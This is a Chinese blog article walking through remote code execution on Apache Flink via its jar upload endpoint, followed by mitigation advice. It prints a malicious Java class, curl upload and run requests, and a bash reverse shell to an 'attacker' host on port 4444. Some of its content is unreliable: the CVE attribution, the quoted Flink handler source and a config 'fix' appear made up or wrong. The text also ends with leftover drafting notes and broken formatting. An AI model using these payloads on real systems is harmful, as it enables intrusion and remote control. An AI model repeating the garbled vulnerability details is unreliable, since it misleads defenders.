Apache Flink任意Jar包上传致RCE漏洞复现的示例分析

发布时间:2021-12-31 10:57:38 作者:小新
来源:亿速云 阅读:282
# Apache Flink任意Jar包上传致RCE漏洞复现的示例分析

## 漏洞背景

Apache Flink作为开源的流处理框架,其Web Dashboard提供了作业提交和管理功能。在特定版本中(主要影响1.9.x-1.11.x),由于未对上传的Jar包进行充分安全校验,攻击者可通过构造恶意Jar包实现远程代码执行(RCE)。该漏洞编号为CVE-2020-17519,CVSS评分高达9.8。

## 漏洞原理

### 核心问题
1. **未授权上传**:默认配置下Dashboard无需认证
2. **路径穿越**:上传文件名未严格过滤
3. **动态加载**:通过`/jars/upload`接口上传的Jar包可被直接执行

### 攻击链条

恶意Jar上传 -> 路径穿越存储 -> 作业提交 -> 类加载执行 -> RCE


## 环境搭建

### 测试环境
```bash
# 使用vulhub快速搭建
docker-compose -f flink/1.11.2/CVE-2020-17519.yml up

受影响版本

漏洞复现步骤

1. 制作恶意Jar包

// EvilObject.java
public class EvilObject {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
        } catch (Exception e) { e.printStackTrace(); }
    }
}

编译打包:

javac EvilObject.java
jar cvf evil.jar EvilObject.class

2. 上传恶意Jar包

curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload

成功响应示例:

{
  "filename": "/tmp/flink-jars-49a1b5a0-1a2b-4c3d-8e9f-0a1b2c3d4e5f/evil.jar",
  "status": "success"
}

3. 触发RCE

通过REST API提交作业:

POST /jars/evil.jar/run HTTP/1.1
Host: target:8081
...
{"entryClass":"EvilObject"}

4. 验证执行结果

docker exec flink ls /tmp | grep flink_rce_success

技术细节分析

漏洞入口点

org.apache.flink.runtime.rest.handler.job.JarUploadHandler处理上传请求时:

public class JarUploadHandler extends AbstractRestHandler {
    protected File handleFileUpload(FileUpload file) {
        // 未校验文件名和内容
        String fileName = file.getFilename();
        File dest = new File(uploadDir, fileName); 
        file.renameTo(dest);
    }
}

执行路径

  1. JarRunHandler加载用户指定类
  2. 静态代码块在类加载时自动执行
  3. 通过URLClassLoader加载远程Jar

修复方案

官方补丁

  1. 1.11.3+版本增加:
    • 文件名白名单校验
    • 默认开启认证
    • 沙箱隔离机制

临时缓解措施

# conf/flink-conf.yaml
web.upload.dir: /dev/null # 禁用上传
security.ssl.enabled: true # 启用HTTPS

扩展利用场景

反弹Shell

修改恶意类为:

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});

内网渗透

利用Flink的集群特性,可通过恶意Jar在TaskManager节点横向移动。

防御建议

  1. 网络隔离:将Flink集群部署在内网
  2. 权限控制
    • 启用Kerberos认证
    • 配置RBAC
  3. 持续监控
    • 审计/jars/upload接口访问
    • 监控异常进程创建

总结

该漏洞展示了大数据组件在便利性和安全性之间的平衡难题。管理员应: - 及时更新到Flink 1.11.3+版本 - 遵循最小权限原则 - 定期进行安全审计

注:本文仅用于安全研究,请勿用于非法用途。测试前务必获得书面授权。 “`

该文档包含: 1. 漏洞技术原理说明 2. 完整复现流程(含代码片段) 3. 防御方案和修复建议 4. 扩展攻击场景分析 5. 结构化排版(标题/代码块/列表) 实际写作时可补充更多技术细节或截图证据。

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

rce漏洞 flink apache

上一篇:怎么为SAP Analytics Cloud的story创建持久化页面

下一篇:如何使用SAP云平台Mobile Service开发移动应用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》